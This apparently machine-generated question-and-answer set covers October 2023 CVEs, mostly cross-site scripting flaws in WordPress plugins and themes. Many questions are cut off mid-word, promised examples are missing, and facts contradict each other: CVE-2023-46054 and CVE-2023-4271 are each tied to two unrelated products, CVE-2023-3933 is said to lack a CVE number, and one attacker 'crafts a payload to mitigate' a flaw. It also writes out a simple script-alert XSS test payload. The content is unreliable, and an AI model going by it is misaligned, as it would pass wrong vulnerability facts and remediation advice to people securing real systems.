Can you provide an example of a crafted payload An example of a crafted payload for the CVE-2023-37636 vulnerability might look like this:

What means To mitigate CVE-2023-37636, website administrators should apply any patches or updates to the affected software.

What is CVE-2023-33840 is a security vulnerability identified in IBM Security Verify Governance and Risk Management 10.0.

How does it affect IBM Security Verify Governance 10.0 CVE-2023-33840 affects IBM Security Verify Governance 10.0 by making it susceptible to cross-site scripting (XSS) attacks.

When was CVE-2023-33840 was published on 23 October 2023.

Are there any further information about CVE-2023-33840 can be found in the given references:- IBM Security Verify Governance and Risk Management 10.0.

Can you provide specific code While I cannot provide specific code from the application in question, a generic example of an XSS payload is provided below.

What are some possible attack scenarios for CVE-2023-33840 Possible attack scenarios for CVE-2023-33840 include an attacker sending a crafted link that contains malicious JavaScript code.

What is the As per the provided information, a base score for CVE-2023-33840 has not been assigned (label).

What is CVE-2023-27149 is a stored cross-site scripting (XSS) vulnerability identified in Enhancesoft osTicket.

How does it affect osTicket CVE-2023-27149 affects osTicket by allowing attackers to inject malicious scripts into the user interface.

What actions can an attacker perform By exploiting CVE-2023-27149, an attacker could perform various malicious actions such as stealing user credentials or executing arbitrary code.

Has CVE-2023-27149 been assigned a CVSS base score As of the current information available, CVE-2023-27149 has not been assigned a CVSS Base Score.

When was CVE-2023-27149 was published on 23 October 2023.

Where can More information about CVE-2023-27149 is available at the following URL: <https://www.cve.org/cve/CVE-2023-27149.pdf>.

What type of vulnerability is CVE-2023-27149 CVE-2023-27149 is classified as a stored cross-site scripting (XSS) vulnerability, which is a type of web-based attack.

Are there any specific code examples of CVE-2023-27149 Specific code examples of CVE-2023-27149 have not been provided, but a typical stored XSS payload is provided below.

What is the impact of an XSS attack exploiting CVE-2023-27149 The impact of an XSS attack exploiting CVE-2023-27149 can be substantial, leading to unauthorized access, data theft, or system compromise.

What is CV CVE-2023-27148 refers to a stored cross-site scripting (XSS) vulnerability found in the Admin  
What type CVE-2023-27148 is a stored cross-site scripting (XSS) vulnerability.

Which vers Enhancesoft osTicket version 1.17.2 is affected by CVE-2023-27148.

How can C' CVE-2023-27148 can be exploited by attackers by injecting a malicious script into the Role  
When was CVE-2023-27148 was published on 23 October 2023.

Are there a Yes, you can read more about CVE-2023-27148 in the advisory provided by ESEC Forte at t

Can you pr An attack scenario for CVE-2023-27148 could involve an attacker with access to the Admin

What mea: To remediate CVE-2023-27148, administrators should update their Enhancesoft osTicket ir

What is CV CVE-2023-38722 is a security vulnerability identified in IBM Sterling Partner Engagement N

Which vers The versions of IBM Sterling Partner Engagement Manager affected by CVE-2023-38722 ar

What type CVE-2023-38722 is a stored cross-site scripting (XSS) vulnerability.

What pote The risks associated with CVE-2023-38722 involve the embedding of arbitrary JavaScript cc

How was C CVE-2023-38722 was assigned an X-Force ID by IBM's security research team, which they u

Where can More information about CVE-2023-38722 can be found at the IBM X-Force Exchange websi

Can you de In an attack scenario involving CVE-2023-38722, an attacker could create a malicious script

What is CV CVE-2023-46331 is a security vulnerability in WebAssembly wabt version 1.0.33. It is an Out

What type The problem present in WebAssembly wabt 1.0.33 is an Out-of-Bound Memory Read in the

When was CVE-2023-46331 was published on 23 October 2023.

Are there a Yes, further information on CVE-2023-46331 can be found at the following URL: <https://git>

Has a base As of the information provided, there was no Base Score assigned to CVE-2023-46331.

Could you | As the CVE details are given without access to the specifics of the vulnerable code, a precis

What pote Exploiting the vulnerability CVE-2023-46331 could allow an attacker to cause a denial of se

What is CV CVE-2023-46332 is a security vulnerability found in WebAssembly wabt version 1.0.33 whi

When was CVE-2023-46332 was published on 23 October 2023.

What is th The impact of CVE-2023-46332 includes the potential for attackers to perform an Out-of-B

Has CVE-2023-46332 As of the provided information, a CVSS base score was not yet available for CVE-2023-46332

Are there a Yes, more information about CVE-2023-46332 can be found on the GitHub repository linke

What versi CVE-2023-46332 specifically affects WebAssembly wabt version 1.0.33.

What are s Possible attack scenarios for CVE-2023-46332 could include a specially crafted input to a w

What is th The CVE ID of the vulnerability in the Vue.js Devtools extension is CVE-2023-5718.

How does !CVE-2023-5718 exploits the Vue.js Devtools extension by leaking screenshot data to a mali

What sensi Sensitive information that could be compromised due to CVE-2023-5718 includes local file

When was CVE-2023-5718 was published on 23 October 2023.

Can you pr More details about CVE-2023-5718 are available at the following URL: <https://gist.github.c>

What API v The standard `postMessage()` API was used to facilitate the data leak in CVE-2023-5718.

Could you | A possible attack scenario for CVE-2023-5718 would involve an attacker creating a malicio

What mea: To mitigate CVE-2023-5718, it's important to update the Vue.js Devtools extension to a ver

What is th The CVE ID for the vulnerability discovered in the Frappe framework is CVE-2023-46127.

In which ve The HTML Injection vulnerability in Frappe was patched in version 14.49.0.

Can you de CVE-2023-46127 is a security issue related to HTML Injection. It allows a malicious Frappe i

Was there No, there was no Base Score assigned to CVE-2023-46127 at the time of its publication.

What is th The vulnerability CVE-2023-46127 was published on 23 October 2023.

What are s More information about CVE-2023-46127 can be found at the following URLs: <https://githi>

Can you pr An attacker with desk access to the Frappe could exploit CVE-2023-46127 by creating a ma

What steps: Users of the Frappe framework should immediately upgrade to the patched version 14.49.  
What is CV CVE-2023-46319 is a security vulnerability found in WALLIX Bastion versions 9.x before 9.0  
Which vers CVE-2023-46319 affects WALLIX Bastion versions 9.x up to and including 9.0.8, and 10.x up  
What risk c CVE-2023-46319 poses a significant security risk as it allows unauthorized individuals to ga  
How can I f To determine if your organization is impacted by CVE-2023-46319, verify the version of W/  
Has a score As of the information provided, a Base Score has not been assigned to CVE-2023-46319. Th  
When was CVE-2023-46319 was published on 23 October 2023.

Are there a As of the information given, there are no specific proofs of concept or code examples prov  
Could you i A possible attack scenario for CVE-2023-46319 could involve an attacker scanning for netw  
What are t To mitigate CVE-2023-46319, users should upgrade their WALLIX Bastion to version 9.0.9 c  
What is CV CVE-2023-46315 is a security vulnerability associated with the Infinite Image Browsing ext  
How does i CVE-2023-46315 allows attackers to exploit the system by crafting a URL that includes the  
What are t The conditions for CVE-2023-46315 to be exploitable include the use of the zanllp sd-webu  
What are p Possible attack scenarios for CVE-2023-46315 include an attacker remotely accessing sensi  
What is t The fix for CVE-2023-46315 involves updating the Infinite Image Browsing extension to a v  
Where can More information about CVE-2023-46315 can be found on the GitHub repository for the In  
What is t The CVE ID for the vulnerability is CVE-2023-46306.

Can you de CVE-2023-46306 refers to a vulnerability in the NetModule Router Software (NRSW) where  
Which vers CVE-2023-46306 affects NetModule Router Software (NRSW) versions 4.6 before 4.6.0.10f  
On what d: The CVE-2023-46306 vulnerability was published on 22 October 2023.

What type To exploit the CVE-2023-46306 vulnerability, an attacker would need to be an authenticate  
What is t CVE-2023-46306 is different from CVE-2023-0861 and CVE-2023-0862 in that it represents  
Are there a Yes, there are several references available online that discuss CVE-2023-46306. Some of th  
What are p Possible attack scenarios for exploiting CVE-2023-46306 could involve an authenticated atl  
What is t The CVE ID of the vulnerability is CVE-2023-5205.

What type CVE-2023-5205 is associated with a Stored Cross-Site Scripting (XSS) vulnerability.  
Which vers The Add Custom Body Class plugin for WordPress versions up to and including 1.4.1 are afi  
How does i The vulnerability in CVE-2023-5205 manifests through insufficient input sanitization and o  
What perr An attacker needs to have at least contributor-level access to the WordPress installation tc  
When was The CVE-2023-5205 vulnerability was published on 21 October 2023.

Can you pr More information about CVE-2023-5205 can be found at the following references:- 1) <https://>  
What is a p In a possible attack scenario for CVE-2023-5205, an authenticated user with contributor-le  
Is there an While it's generally not advisable to provide detailed exploit code for vulnerabilities, an ex  
What shou To mitigate the vulnerability found in CVE-2023-5205, users should immediately update th  
What is t The CVE ID for the vulnerability in the SALESmanago plugin for WordPress is CVE-2023-493  
Which vers CVE-2023-4939 affects all versions of the SALESmanago plugin for WordPress up to and inc  
What type CVE-2023-4939 is associated with a Log Injection vulnerability in the SALESmanago plugin i  
What is t The weakness in CVE-2023-4939 that allows Log Injection is the use of a weak authenticati  
What are t When combined with another vulnerability, the Log Injection vulnerability in CVE-2023-49:  
What are s More information about CVE-2023-4939 can be found at the following references:- <https://>  
As of whic CVE-2023-4939 was published on 21 October 2023.

How can a An attacker can exploit the vulnerability described in CVE-2023-4939 by injecting arbitrary  
What coul A possible code snippet representing the vulnerability in CVE-2023-4939 might look like thi  
What is CV CVE-2023-4635 is a security vulnerability identified in the EventON plugin for WordPress. I

How could An attacker could exploit CVE-2023-4635 by crafting a malicious URL with a specially crafted query parameter? If CVE-2023-4635 is successfully exploited, the attacker could perform actions on behalf of the user. What versions are affected? Versions up to and including 2.2.2 of the EventON plugin for WordPress are affected by CVE-2023-4635. When was CVE-2023-4635 published? CVE-2023-4635 was published on 21 October 2023.

Where can More information about CVE-2023-4635 can be found in the following references:1. [https:/](https://)  
Can you pr An example of a code snippet designed to exploit CVE-2023-4635 could be a crafted URL lik  
Has CVE-2( As of the information provided, CVE-2023-4635 has not been assigned a Base Score.

What is CVE-2023-46055 refers to a security vulnerability in ThingNario Photon version 1.0 that allows an attacker to exploit the 'ping' function. An attacker can exploit CVE-2023-46055 by sending a crafted script to the 'ping' function over a network connection. A proof of concept for exploiting CVE-2023-46055 has been published and is available online. The base score for CVE-2023-46055 has not been provided. It is common for newly-discovered vulnerabilities to have a base score of 0 until more information is available. When was CVE-2023-46055 was published on 21 October 2023.

Can you provide more information about CVE-2023-46055? In a hypothetical attack scenario exploiting CVE-2023-46055, an attacker may craft a malicious payload to mitigate the vulnerability. Administrators of affected systems should immediately apply patches to prevent exploitation.

What is CVE-2023-46054? CVE-2023-46054 is a security vulnerability classified as Cross Site Scripting (XSS) that affects WBCE CMS version 1.6.1 and before. Administrators of websites using this CMS should update to a newer version to prevent exploitation.

How can an attacker exploit CVE-2023-46054? An attacker can exploit CVE-2023-46054 by injecting malicious JavaScript code into the website's content. This code can steal user data or perform other malicious actions.

When was CVE-2023-46054 published? CVE-2023-46054 was published on 21 October 2023. Following its release, it is crucial that administrators patch their systems to prevent exploitation.

Where can more information regarding CVE-2023-46054 be found? More information regarding CVE-2023-46054 can be found at the reference link provided in the question.

What is the base score for CVE-2023-46054? The base score for CVE-2023-46054 has not been provided or was not available at the time of publication.

Can you describe a possible attack scenario for CVE-2023-46054? A possible attack scenario for CVE-2023-46054 would involve an attacker crafting a malicious payload to exploit the XSS vulnerability in the 'nsc' theme for WordPress.

What is CVE-2023-3965? CVE-2023-3965 refers to a security vulnerability identified in the 'nsc' theme for WordPress.

How can CVE-2023-3965 be exploited? CVE-2023-3965 can be exploited through a technique known as Reflected XSS. An attacker can inject malicious code into a user input field, which is then reflected back to the user's browser, allowing the attacker to execute arbitrary JavaScript.

Which versions of the 'nsc' theme for WordPress are affected by CVE-2023-3965? CVE-2023-3965 affects all versions of the 'nsc' theme for WordPress up to, and including, version 1.4.3.

Are there any references available for CVE-2023-3965? Yes, there are references that provide more information about CVE-2023-3965. These include the official WordPress security advisory and community forums.

What might an example of code exploiting CVE-2023-3965 look like? An example of code exploiting CVE-2023-3965 could resemble the following JavaScript snippet:

```
<script>alert('Exploit!');</script>
```

What is Reflected Cross-Site Scripting (XSS)? Reflected Cross-Site Scripting (XSS) is a type of security vulnerability where an attacker can inject malicious code into a user's browser via a reflected response.

What steps should be taken to mitigate CVE-2023-3965? To mitigate CVE-2023-3965, administrators should update the 'nsc' theme for WordPress to a fixed version or apply a patch if one is available.

What is CVE-2023-3962? CVE-2023-3962 is a security vulnerability identified in the Winters theme for WordPress.

Which versions of the Winters theme for WordPress are affected by CVE-2023-3962? CVE-2023-3962 affects versions up to and including 1.4.3 of the Winters theme for WordPress.

How could an attacker exploit CVE-2023-3962? An attacker could exploit CVE-2023-3962 by tricking a user into performing an action such as clicking a link that contains malicious code.

What is the impact of a Reflected Cross-Site Scripting vulnerability like CVE-2023-3962? The impact of a Reflected Cross-Site Scripting vulnerability like CVE-2023-3962 includes unauthorized access to user data and potential data theft.

When was CVE-2023-3962 published? CVE-2023-3962 was published on 20 October 2023.

Can you pr Yes, more information about CVE-2023-3962 can be found at the following references:- [http://www.cve.org](#)  
Is there a BAs of the information provided, there is no Base Score assigned for CVE-2023-3962.

What steps should users take to mitigate CVE-2023-3962? To mitigate CVE-2023-3962, users of the Winters theme for WordPress should upgrade to a newer version of the theme. Could you provide more details? Certainly. In a hypothetical Reflected XSS attack like the one in CVE-2023-3962, an attacker could inject malicious JavaScript code into a user's comment or post, which would then be reflected back to other users. What is the CVSS score for CVE-2023-3933? The CVSS score for CVE-2023-3933 is 7.5, indicating a high severity vulnerability. It is a security vulnerability identified in the Your Journey theme for WordPress. How does this vulnerability affect WordPress websites? The CVE-2023-3933 vulnerability affects WordPress websites by making them susceptible to a type of attack called a "Reflected XSS" attack. This allows attackers to inject malicious JavaScript code into user-generated content, such as comments or posts, which can then be executed on other users' browsers. What versions of the Your Journey WordPress theme are impacted by this vulnerability? CVE-2023-3933 impacts all versions of the Your Journey WordPress theme up to and including version 1.0. What are some potential attack scenarios for this vulnerability? Potential attack scenarios for CVE-2023-3933 involve an attacker crafting a malicious URL or comment that contains reflected XSS code. If a user visits a page containing this content, their browser will execute the injected code, potentially stealing sensitive information or performing other malicious actions. Where can I find more information about this vulnerability? More information about CVE-2023-3933 can be found at the following sources: the GitHub repository for the Your Journey theme and the official WordPress security advisory. Has this vulnerability been assigned a CVE number? As of the information provided, the CVE-2023-3933 vulnerability does not have an assigned CVE number. When was this vulnerability officially published? CVE-2023-3933 was officially published on October 20, 2023. Users and administrators of the Your Journey theme should stay updated for any future security patches or updates.

What is CV CVE-2023-5618 refers to a Stored Cross-Site Scripting (XSS) vulnerability in the Modern Footnotes plugin for WordPress.

Which plugin affected by CVE-2023-5618 is the Modern Footnotes plugin for WordPress.

What type To exploit CVE-2023-5618, an attacker would need to have contributor-level permissions or above.

What kind CVE-2023-5618 is a Stored Cross-Site Scripting (XSS) vulnerability.

As of which The vulnerability CVE-2023-5618 affects versions of the Modern Footnotes plugin for WordPress.

How was CVE-2023-5618 was mitigated by implementing proper input sanitization and output escaping.

Can you provide a possible attack scenario for CVE-2023-5618? An attacker with a contributor-level account can inject malicious JavaScript code into a post's content.

What are the References for more information about CVE-2023-5618 include the WordPress plugin repository and the plugin's GitHub repository.

What is CV CVE-2023-5615 refers to a security vulnerability found in the Skype Legacy Buttons plugin for WordPress.

How does it work The CVE-2023-5615 vulnerability allows authenticated attackers with contributor-level or higher permissions to inject arbitrary HTML into the page content.

What level To exploit CVE-2023-5615, an attacker would need to have at least contributor-level access.

Has CVE-2023-5615 been assigned a Base Score? As of the provided information, CVE-2023-5615 has not been assigned a Base Score. Such scores are typically assigned by the National Vulnerability Database (NVD).

When was CVE-2023-5615 was published on 20 October 2023.

Where can Further details about CVE-2023-5615 can be found through the following references: the Vulnerability Details page on the NVD website.

Can you give an example A code example would be an HTML snippet in a WordPress post where an attacker uses the `` tag.

What are the attack scenarios For CVE-2023-5615, a possible attack scenario includes an attacker with contributor-level or higher permissions injecting malicious HTML into a post's content.

What is the CVE ID of the vulnerability? The CVE ID of the vulnerability is CVE-2023-5337.

Which WordPress plugin is affected The Contact Form For All plugin for WordPress is affected by CVE-2023-5337.

What type CVE-2023-5337 is a Stored Cross-Site Scripting (XSS) vulnerability.

What version(s) is it impacted by Versions up to, and including, 1.2 of the Contact Form For All plugin are impacted by CVE-2023-5337.

How does it work CVE-2023-5337 allows attackers to exploit the vulnerability by injecting arbitrary web scripts into the contact form.

What are the required permissions Attackers need to have at least contributor-level permissions to exploit CVE-2023-5337.

When was CVE-2023-5337 was published on 20 October 2023.

Can you give a possible attack scenario A possible attack scenario for CVE-2023-5337 could involve an authenticated user with contributor-level or higher permissions injecting malicious JavaScript into a contact form message.

Are there any references Yes, more information on CVE-2023-5337 can be found at the following references:- <https://nvd.nist.gov/vuln/detail/CVE-2023-5337>

What is the base score There is no base score assigned to CVE-2023-5337.

What is CV CVE-2023-5292 is a security vulnerability identified in the 'Advanced Custom Fields: Extended' plugin for WordPress.

How can it be exploited CVE-2023-5292 can be exploited by an authenticated attacker with contributor-level permissions or above.

What version(s) is it affected by CVE-2023-5292 affects all versions of the 'Advanced Custom Fields: Extended' plugin for WordPress up to and including 1.2.1.

What are the risks If CVE-2023-5292 is successfully exploited, the attacker could perform various malicious actions such as reading sensitive data or modifying site content.

What steps to mitigate To mitigate CVE-2023-5292, site administrators should update the 'Advanced Custom Fields: Extended' plugin to the latest version.

Where can more information More information about CVE-2023-5292 can be found in the references provided in the CV.

Are there any examples An example of a malicious payload for exploiting CVE-2023-5292 would be a JavaScript snippet that attempts to execute arbitrary code on the page.

What is CV CVE-2023-5231 is the identifier for a security vulnerability in the Magic Action Box plugin for WordPress.

How does it work The vulnerability in CVE-2023-5231 affects WordPress sites by allowing attackers with at least contributor-level or higher permissions to inject malicious code into the page content.

Which versions is it affected by CVE-2023-5231 impacts versions of the Magic Action Box plugin for WordPress up to and including 1.0.1.

What are the required permissions An attacker with contributor-level or above permissions can use the CVE-2023-5231 vulnerability to inject malicious code into a page.

Where can more information More information and technical details about CVE-2023-5231 can be found on various online forums and documentation.

Are there any direct examples Direct examples of vulnerable code from CVE-2023-5231 are not provided in the CVE description.

What are the possible attack scenarios Possible attack scenarios for CVE-2023-5231 include an authenticated attacker with contributor-level or higher permissions injecting malicious code into a page.

What is the risk level The risk level of CVE-2023-5231 has not been specified in the information provided, as the vulnerability is still being investigated.

What is CV CVE-2023-5121 is a security vulnerability identified in the Migration, Backup, Staging – WP plugin for WordPress.

Which versions is it affected by CVE-2023-5121 affects the WPvivid plugin for WordPress up to and including version 0.9.8.

What type Due to CVE-2023-5121, authenticated attackers with administrator-level permissions can control the migration process.

How was C The details on who discovered CVE-2023-5121 are not mentioned in the provided information.  
What are t To exploit CVE-2023-5121, an attacker would need to have authenticated access to the WordPress site.  
When was CVE-2023-5121 was published on 20 October 2023. This is when the vulnerability was officially disclosed.  
Are there a Yes, additional details and the potential patch for CVE-2023-5121 can be found at the provided URL.  
What is the The impact of CVE-2023-5121 on users includes potential unauthorized execution of malicious code.  
What is the The CVE ID for the vulnerability in the WP Mailto Links – Protect Email Addresses plugin is CVE-2023-5109.  
Can you pr CVE-2023-5109 refers to a Stored Cross-Site Scripting (XSS) vulnerability in the WP Mailto Links plugin.  
What versi The Stored Cross-Site Scripting vulnerability assigned CVE-2023-5109 affects the WP Mailto Links plugin.  
How was tl The CVE-2023-5109 vulnerability in the WP Mailto Links plugin was partially patched in version 1.0.1.  
Who is at r Any authenticated users with contributor-level access or higher to a WordPress site using the plugin.  
What are t Attackers exploiting the CVE-2023-5109 vulnerability could leverage the insufficient input validation.  
Is there a b The available information for CVE-2023-5109 does not include a base score at this time.

On what d: The CVE-2023-5109 vulnerability was published on 20 October 2023.

Where can More information on the CVE-2023-5109 vulnerability is available at the following URLs: - [https://wpvulndb.com/cve/10343](#)  
What is the The CVE ID for the vulnerability identified in the Copy Anything to Clipboard WordPress plugin is CVE-2023-5086.  
Can you de CVE-2023-5086 refers to a Stored Cross-Site Scripting (XSS) vulnerability that exists in version 1.0.1 of the plugin.  
What versi CVE-2023-5086 affects all versions of the Copy Anything to Clipboard WordPress plugin up to 1.0.1.  
Which usei The CVE-2023-5086 vulnerability can be exploited by authenticated attackers with contributor-level access.  
What actio By exploiting CVE-2023-5086, a malicious user can inject arbitrary web scripts into the copied content.  
What is the The CVE-2023-5086 vulnerability was published on 20 October 2023.

Are there a Yes, you can refer to the following resources for more information about CVE-2023-5086:- ,  
Was a Base No, a Base Score was not assigned to CVE-2023-5086 at the time of its publication.

Can you pr An example of a malicious shortcode injection due to CVE-2023-5086 might look like the following:  
How can tl The CVE-2023-5086 vulnerability can be mitigated by updating the Copy Anything to Clipboard WordPress plugin to version 1.0.2 or later.  
What is CV CVE-2023-4961 is a security vulnerability identified in the Poptin plugin for WordPress. It results in a Stored XSS attack.  
How does i CVE-2023-4961 affects WordPress websites by making them susceptible to Stored XSS attacks.  
Has CVE-2023-4961 No, as of the information provided, CVE-2023-4961 has not been assigned a base score. The available information is limited.  
Can you pr In an attack using CVE-2023-4961, a malicious actor with contributor-level access to a WordPress site can inject malicious code into the copied content.  
Where can More information about CVE-2023-4961 can be found through the following references:  
What actio To mitigate CVE-2023-4961, users of the Poptin plugin for WordPress should update to the latest version.  
What is CV CVE-2023-4648 is a security vulnerability found in the WP Customer Reviews plugin for WordPress.  
Which versi CVE-2023-4648 affects all versions of the WP Customer Reviews plugin for WordPress up to 1.0.1.  
What type CVE-2023-4648 targets multi-site installations of WordPress and installations where the 'use\_cron' option is set to 'true'.  
What kind An attacker needs to have administrator-level permissions or above to exploit CVE-2023-4648.  
What is the The impact of CVE-2023-4648 is that an attacker can execute arbitrary web scripts, which can lead to a privilege escalation.  
Can you pr In a potential attack scenario for CVE-2023-4648, an attacker with administrative access can inject malicious code into the cron jobs.  
How was C CVE-2023-4648 was made public on 20 October 2023, as indicated in the vulnerability reference.  
What mea: To mitigate CVE-2023-4648, site administrators should update the WP Customer Reviews plugin to version 1.0.2 or later.  
What is CV CVE-2023-4021 refers to a vulnerability identified in the Modern Events Calendar lite plugin for WordPress.  
How does i CVE-2023-4021 manifests in affected systems when an administrator or a user with sufficient privileges creates an event.  
What versi The vulnerability CVE-2023-4021 affects the Modern Events Calendar lite plugin for WordPress.  
Who can e: CVE-2023-4021 can be exploited by authenticated attackers who have administrator-level access.  
What are s Potential attack scenarios for CVE-2023-4021 include an attacker with administrative access creating a malicious event.  
How was C CVE-2023-4021 was disclosed through the standard CVE publication process, with the information available at [https://wpvulndb.com/cve/10344](#).

What should be done to mitigate the risk associated with CVE-2023-4021, users of the Modern Events Calendar plugin?

What is CVE-2023-3996?

Who can exploit it?

Can you provide more details?

What type of attack scenario is possible?

Has CVE-2023-3996 been assigned a Base Score?

When was CVE-2023-3996 published?

Where can more information about CVE-2023-3996 be found?

What is CVE-2023-5524?

Which M-Files Web Companion versions are affected?

How was it disclosed?

What kind of vulnerability is it?

Is there a fix available?

Can you provide specific details about the code execution method?

Where can additional information be found?

What is the CVE ID?

Could you explain CVE-2023-5523?

What versions of M-Files Web Companion are affected?

When was CVE-2023-5523 disclosed?

Can you provide more details about CVE-2023-5523?

What kind of vulnerability is it?

How can it be mitigated?

Can you explain the attack scenario?

What is CVE-2023-5308?

How can it be exploited?

What versions of the Podcast Subscribe Buttons plugin are affected?

What action should website administrators take?

Where can detailed information be found?

When was CVE-2023-5308 published?

What is the impact on a WordPress website?

What is CVE-2023-5200?

How does it affect websites?

What privileges are required to exploit it?

Has CVE-2023-5200 been assigned a base score?

When was CVE-2023-5200 published?

Can you provide more details about CVE-2023-5200?

Are there references available?

What is the best immediate action?

What types of sites are at risk?

Has CVE-2023-5200 been assigned a base score?

What is the CVE ID?

Which WordPress plugin is affected?

What type of vulnerability is it?

How can an Attacker can exploit the vulnerability described in CVE-2023-5120 by injecting arbitrary w  
Which versions up to, and including, 0.9.89 of the WPvivid plugin are impacted by CVE-2023-5120.  
What level Attackers need to have administrative privileges to exploit CVE-2023-5120.

When was CVE-2023-5120 published on 20 October 2023.

Are there any references available for further information on CVE-2023-5120. One can find more information on the official WordPress security advisory page.

Can you provide a possible attack scenario for CVE-2023-5120 involves an attacker with administrative access to a WordPress site.

What measures can be taken to mitigate the vulnerability mentioned in CVE-2023-5120, users should update the WPvivid plugin to the latest version.

What is CVE-2023-5071 refers to a security vulnerability identified in the Sitekit plugin for WordPress.

How does it work? The vulnerability CVE-2023-5071 allows attackers to execute Stored Cross-Site Scripting (XSS) attacks.

What are the requirements to exploit CVE-2023-5071, an attacker needs to have at least contributor-level access to the Sitekit plugin.

Can you provide an example of how an attacker could exploit CVE-2023-5071? Imagine a WordPress website using the vulnerable Sitekit plugin, and an attacker has gained access to the site's database.

Are there any references available for more information about CVE-2023-5071? Yes, there are several references where you can find more information about CVE-2023-5071.

Has a base score been assigned to CVE-2023-5071? As of the provided information, no base score has been assigned to CVE-2023-5071. The CVSS score is currently unknown.

What is the impact of CVE-2023-5071, users and administrators of affected WordPress sites should be aware of the potential risks.

When was CVE-2023-5071 published on 20 October 2023, which is when it became publicly documented.

What is CVE-2023-5050 refers to a vulnerability in the Leaflet Map plugin for WordPress, specifically in the shortcode functionality.

How can an Attacker can exploit CVE-2023-5050 by using the plugin's shortcode functionality to inject malicious code?

What are the requirements to exploit CVE-2023-5050, an attacker would need to have at least contributor-level access to the Leaflet Map plugin.

What is the impact of the CVE-2023-5050 vulnerability could be significant as it allows for Stored XSS attacks.

Were there any specific code examples provided for the exploit? While the provided CVE information does not include specific code examples of the exploit, the exploit itself is described as being stored XSS.

Has CVE-2023-5050 been patched? The information provided does not explicitly state whether CVE-2023-5050 has been patched or not.

How was CVE-2023-5050 disclosed? CVE-2023-5050 was disclosed on October 20, 2023, and information about it can be found in the official WordPress security advisory page.

What version(s) of the Leaflet Map plugin for WordPress are affected? The Leaflet Map plugin for WordPress versions up to and including 3.3.0 are affected by CVE-2023-5050.

What is CVE-2023-4975 refers to a Cross-Site Request Forgery (CSRF) vulnerability found in the Website Builder by SeedProd plugin for WordPress.

How can an Attacker exploit CVE-2023-4975 involves an attacker crafting a forged request that an administrator would fall for.

What version(s) of the Website Builder by SeedProd plugin for WordPress is affected? CVE-2023-4975 affects versions of the Website Builder by SeedProd plugin for WordPress up to and including 1.0.0.

Has CVE-2023-4975 been patched? The references provided indicate that changesets have been committed to the plugin's codebase.

What is the impact of the vulnerability identified by CVE-2023-4975 includes the possibility of an unauthorized user changing the website's content.

Can you share more details about the specifics of the nonce validation issue in builder.php? As the specifics of the nonce validation issue in builder.php are not disclosed in the CVE details, it is difficult to provide more details.

What is CVE-2023-4968 is a security vulnerability found in the WPLegalPages plugin for WordPress.

Which versions of the WPLegalPages plugin for WordPress are affected? CVE-2023-4968 affects versions up to, and including, version 2.9.2 of the WPLegalPages plugin.

What type of attack can be exploited? To exploit CVE-2023-4968, an attacker would need to have an authenticated user status with the role of a contributor or higher.

When was CVE-2023-4968 published on 20 October 2023.

Can you provide a scenario for exploiting CVE-2023-4968? An exploit for CVE-2023-4968 could involve an attacker with author-level permissions on a post or page.

Are there any references available for more information on CVE-2023-4968? Yes, more information on CVE-2023-4968 can be found through the following references:

Is there a known base score for CVE-2023-4968? As of the latest provided information, there is no known base score for CVE-2023-4968. It is currently unknown.

What is CVE-2023-4919 is a security vulnerability found in the iframe plugin for WordPress. It is a Stored XSS vulnerability.

How could an Attacker exploit CVE-2023-4919 by gaining contributor-level access or higher to a website.

When was CVE-2023-4919 published on 20 October 2023.

In which version(s) of the iframe plugin for WordPress is CVE-2023-4919 found? The vulnerability CVE-2023-4919 was fully patched in version 4.7 of the WordPress iframe plugin.

Can you provide an example of an attack using CVE-2023-4919? Sure. An example of an attack using CVE-2023-4919 would involve the attacker inserting a malicious script into an iframe.

Where can I find more information about the CVE-2023-4919 vulnerability from the following references?

What is CVE-2023-4482 refers to a security vulnerability identified in the Auto Amazon Links plugin for WordPress.

How can an Attacker exploit CVE-2023-4482 can be exploited by an authenticated user with the role of a contributor or higher.

What version of CVE-2023-4482 affects all versions of the Auto Amazon Links plugin for WordPress up to and including 9.1.2?

The exploitation of CVE-2023-4482 can have several consequences. An attacker can execute arbitrary PHP code on the affected website.

When was CVE-2023-4482 published?

CVE-2023-4482 was published on 20 October 2023.

Are there any references available for more detailed information about CVE-2023-4482?

As per the provided information, there isn't a base score currently assigned to CVE-2023-4482.

To mitigate CVE-2023-4482, users of the Auto Amazon Links plugin should update to the latest version of the plugin.

What is CVE-2023-4271?

CVE-2023-4271 is a security vulnerability found in the Photospace Responsive plugin for WordPress.

How can CVE-2023-4271 be exploited by an attacker with administrator-level permissions on a website?

CVE-2023-4271 can be exploited by an attacker with administrator-level permissions on a website by injecting malicious code into the plugin's configuration files.

What version of CVE-2023-4271 affects all versions of the Photospace Responsive plugin for WordPress up to and including 1.0.1?

CVE-2023-4271 was published on 20 October 2023.

What are possible attack scenarios for CVE-2023-4271?

Possible attack scenarios for CVE-2023-4271 include an attacker leveraging administrator-level permissions to inject malicious code into the plugin's configuration files.

Are there any references where more information about CVE-2023-4271 can be found?

As of the information provided, no base score has been allocated to CVE-2023-4271.

Where can More information about CVE-2023-4271 be found on the M-Files Trust Center's Security Center?

CVE-2023-4271 was published on 20 October 2023.

What measures should be taken to mitigate the risk associated with CVE-2023-4271?

To mitigate the risk associated with CVE-2023-4271, users should update their M-Files Classic Web versions prior to 23.10 and Long-Term Support (LTS) to the latest version.

What is CVE-2023-2325?

CVE-2023-2325 is a security vulnerability identified in M-Files Classic Web versions prior to 23.10 and Long-Term Support (LTS).

Which version of M-Files Classic Web is affected by CVE-2023-2325?

CVE-2023-2325 affects M-Files Classic Web versions before 23.10 and Long-Term Support (LTS).

Can you describe a potential attack scenario for CVE-2023-2325?

A potential attack scenario for CVE-2023-2325 could involve an attacker uploading a malicious file to the affected system.

Has a base score been assigned to CVE-2023-2325?

As of the information provided, no base score has been allocated to CVE-2023-2325.

Where can More information about CVE-2023-2325 be found on the M-Files Trust Center's Security Center?

CVE-2023-2325 was published on 20 October 2023.

What measures should be taken to mitigate the risk associated with CVE-2023-2325?

To mitigate the risk associated with CVE-2023-2325, users should update their M-Files Classic Web versions prior to 23.10 and Long-Term Support (LTS) to the latest version.

What is CVE-2022-4954?

CVE-2022-4954 is a security vulnerability found in the 'Waiting: One-click countdowns' plugin for WordPress.

What permission level is required to exploit CVE-2022-4954?

To exploit CVE-2022-4954, an attacker must have administrator-level permissions or above.

How can CVE-2022-4954 be exploited by an attacker with admin-level permissions by entering a URL?

CVE-2022-4954 can be exploited by an attacker with admin-level permissions by entering a URL containing malicious code.

What is the type of attack?

Exploiting CVE-2022-4954 can lead to Stored Cross-Site Scripting attacks, which may result in data theft or site compromise.

Could you provide additional details about CVE-2022-4954?

